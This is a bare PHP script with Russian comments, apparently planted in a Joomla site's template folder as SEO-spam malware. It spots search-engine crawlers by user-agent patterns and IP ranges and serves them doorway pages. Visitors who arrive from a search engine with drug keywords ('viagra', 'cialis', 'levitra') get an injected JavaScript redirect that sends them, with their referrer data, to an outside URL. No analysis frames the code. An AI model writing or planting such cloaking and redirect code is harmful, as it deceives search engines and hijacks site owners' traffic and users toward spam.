<?php

$http = "http://".$_SERVER[HTTP_HOST]."/templates/ja_purity";

$url = "http://search.yahoo.com";// сайт редиректа
$pages = array
(
'/index.php?option=com_content&view=article&id=44:joomla-security-strike-team&catid=1:latest-news&Itemid=50' => "/page1.html",
'/index.php?option=com_content&view=article&id=19&Itemid=27' => "/page2.html",
);
$file = '';
foreach( $pages as $pag => $s)
 {
if($_SERVER['REQUEST_URI']===$pag) //
{
$file = file_get_contents("{$http}{$s}");
}
}
if (empty($file))
    $file = file_get_contents("http://".$_SERVER[HTTP_HOST].$_SERVER['REQUEST_URI']);
$is_bot = FALSE ;

$user_agent_to_filter = array( '#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#',
                               '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i',
                               '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i','#www\.cys\.ru#i',
                               '#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i',
                               '#CFNetwork#i', '#ConveraCrawler#i','#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i',
                               '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i',
                               '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i',
                               '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i',
                               '#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i',
                               '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i',
                               '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i',
                               '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i',
                               '#Yandex#i', '#Yanga#i', '#Yeti#i','#msnbot#i',
                               '#spider#i', '#yahoo#i', '#jeeves#i' ,'#google#i' ,'#Googlebot#i' ,'#altavista#i',
                               '#scooter#i' ,'#av\s*fetch#i' ,'#asterias#i' ,'#spiderthread revision#i' ,'#sqworm#i',
                               '#ask#i' ,'#lycos.spider#i' ,'#infoseek sidewinder#i' ,'#ultraseek#i' ,'#polybot#i',
                               '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i',
                               '#charlotte#i', '#ngb#i' ) ;

$stop_ips_masks = array(
        "66\.249\.[6-9][0-9]\.[0-9]+",    // Google    NetRange:   66.249.64.0 - 66.249.95.255
        "74\.125\.[0-9]+\.[0-9]+",        // Google     NetRange:   74.125.0.0 - 74.125.255.255
        "65\.5[2-5]\.[0-9]+\.[0-9]+",    // MSN        NetRange:   65.52.0.0 - 65.55.255.255,
        "74\.6\.[0-9]+\.[0-9]+",        // Yahoo    NetRange:   74.6.0.0 - 74.6.255.255
        "67\.195\.[0-9]+\.[0-9]+",        // Yahoo#2    NetRange:   67.195.0.0 - 67.195.255.255
        "72\.30\.[0-9]+\.[0-9]+",        // Yahoo#3    NetRange:   72.30.0.0 - 72.30.255.255
        "38\.[0-9]+\.[0-9]+\.[0-9]+",     // Cuill:     NetRange:   38.0.0.0 - 38.255.255.255
        "93\.172\.94\.227",                // MacFinder
        "212\.100\.250\.218",            // Wells Search II
        "71\.165\.223\.134",            // Indy Library
        "70\.91\.180\.25",
        "65\.93\.62\.242",
        "74\.193\.246\.129",
        "213\.144\.15\.38",
        "195\.92\.229\.2",
        "70\.50\.189\.191",
        "218\.28\.88\.99",
        "165\.160\.2\.20",
        "89\.122\.224\.230",
        "66\.230\.175\.124",
        "218\.18\.174\.27",
        "65\.33\.87\.94",
        "67\.210\.111\.241",
        "81\.135\.175\.70",
        "64\.69\.34\.134",
        "89\.149\.253\.169"
    );



 // проверим IP'шник
foreach ( $stop_ips_masks as $k=>$v )
{
    if ( preg_match( '#^'.$v.'$#', $_SERVER['REMOTE_ADDR']) )
        $is_bot = TRUE ;
}
if ($is_bot === true) {echo $file; exit;}
// проверим юзерагенты
if( FALSE ==! strpos( preg_replace( $user_agent_to_filter, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT'] ), '-NO-WAY-' ) ) {echo $file; exit;}
if ( !$is_bot && !empty( $_SERVER['HTTP_USER_AGENT'] ) && ( FALSE === strpos( preg_replace( $user_agent_to_filter, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT'] ), '-NO-WAY-' ) ) )
{

   // проверяем на поисковики
    if ( preg_match ( '#google|msn|bing|live|altavista|ask|yahoo|aol#i', $_SERVER['HTTP_REFERER'] ) )
    {

        // проверяем правильность запроса
        //if ( preg_match( '#[\?\&]q=([^&]+)|[\?\&]query=([^&]+)|[\&\?]p=([^&]+)|[\?\&]keywords=([^&]+)#i', $_SERVER['HTTP_REFERER'] , $match ) )
        if ( preg_match( '#[\&\?][pq]=([^&]+)#i', $_SERVER['HTTP_REFERER'] , $match ) )
        {

            $keyword = $match[1] ;
            if ( preg_match ('/viagra|cialis|levitra/i',$keyword))
            {
                echo <<<HTML
<script type=text/javascript>
var kUrl = '{$url}';
var kGroup = '2';
var kDefault = 'keyword';

var kSeReferer = encodeURIComponent(document.referrer);
var kReferer = encodeURIComponent(document.URL);
var url = kUrl+'/?'+kGroup+'&se_referer='+kSeReferer+'&referer='+kReferer+'&default_keyword='+kDefault;
window.location = url;
</script>
HTML;
                exit;
            }
        }
    }


}

?>